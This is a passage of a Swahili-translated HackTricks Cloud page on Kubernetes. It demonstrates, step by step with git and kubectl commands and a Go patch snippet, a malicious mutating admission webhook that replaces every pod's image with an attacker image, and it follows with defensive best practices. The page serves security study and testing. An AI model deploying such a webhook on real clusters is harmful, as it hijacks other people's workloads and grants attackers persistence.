Taarifa zaidi kwenye: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Mdhibiti wa Kuingiza Mbaya
Mdhibiti wa kuingiza unakamata maombi kwa seva ya API ya Kubernetes kabla ya kudumu kwa kitu, lakini baada ya ombi kuthibitishwa na kuidhinishwa.
Ikiwa mshambuliaji kwa namna fulani anafanikiwa kuingiza Mdhibiti wa Kuingiza Mabadiliko, ataweza kubadilisha maombi ambayo tayari yameidhinishwa. Kuwa na uwezo wa kuweza kujiinua, na kwa kawaida kudumu katika klasta.
Mfano kutoka https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Angalia hali ili kuona kama iko tayari:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
Kisha weka pod mpya:
kubectl run nginx --image nginx
kubectl get po -w
Wakati unaweza kuona kosa la ErrImagePull
, angalia jina la picha kwa kutumia mojawapo ya maswali yafuatayo:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
Kama unavyoona katika picha hapo juu, tulijaribu kuendesha picha nginx
lakini picha iliyotekelezwa mwishowe ni rewanthtammana/malicious-image
. Nini kimetokea!!?
Technicalities
Script ya ./deploy.sh
inaanzisha mutating webhook admission controller, ambayo inabadilisha maombi kwa API ya Kubernetes kama ilivyoainishwa katika mistari yake ya usanidi, ikihusisha matokeo yanayoonekana:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image
.
OPA Gatekeeper bypass
Kubernetes OPA Gatekeeper bypass
Best Practices
Kuzima Automount ya Tokens za Akaunti ya Huduma
- Pods na Akaunti za Huduma: Kwa kawaida, pods huweka token ya akaunti ya huduma. Ili kuboresha usalama, Kubernetes inaruhusu kuzima kipengele hiki cha automount.
- Jinsi ya Kutumia: Weka
automountServiceAccountToken: false
katika usanidi wa akaunti za huduma au pods kuanzia toleo la Kubernetes 1.6.
Kuteua Watumiaji kwa Uangalifu katika RoleBindings/ClusterRoleBindings
- Injini ya Uchaguzi: Hakikisha kuwa watumiaji wanaohitajika tu wanajumuishwa katika RoleBindings au ClusterRoleBindings. Kagua mara kwa mara na uondoe watumiaji wasiohusika ili kudumisha usalama mkali.
Majukumu Maalum ya Namespace Juu ya Majukumu ya Kiwango cha Klasta
- Majukumu vs. ClusterRoles: Prefer kutumia Majukumu na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinatumika kwa kiwango cha klasta. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa.
Tumia zana za kiotomatiki
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions
GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters
Marejeleo
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na π¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter π¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.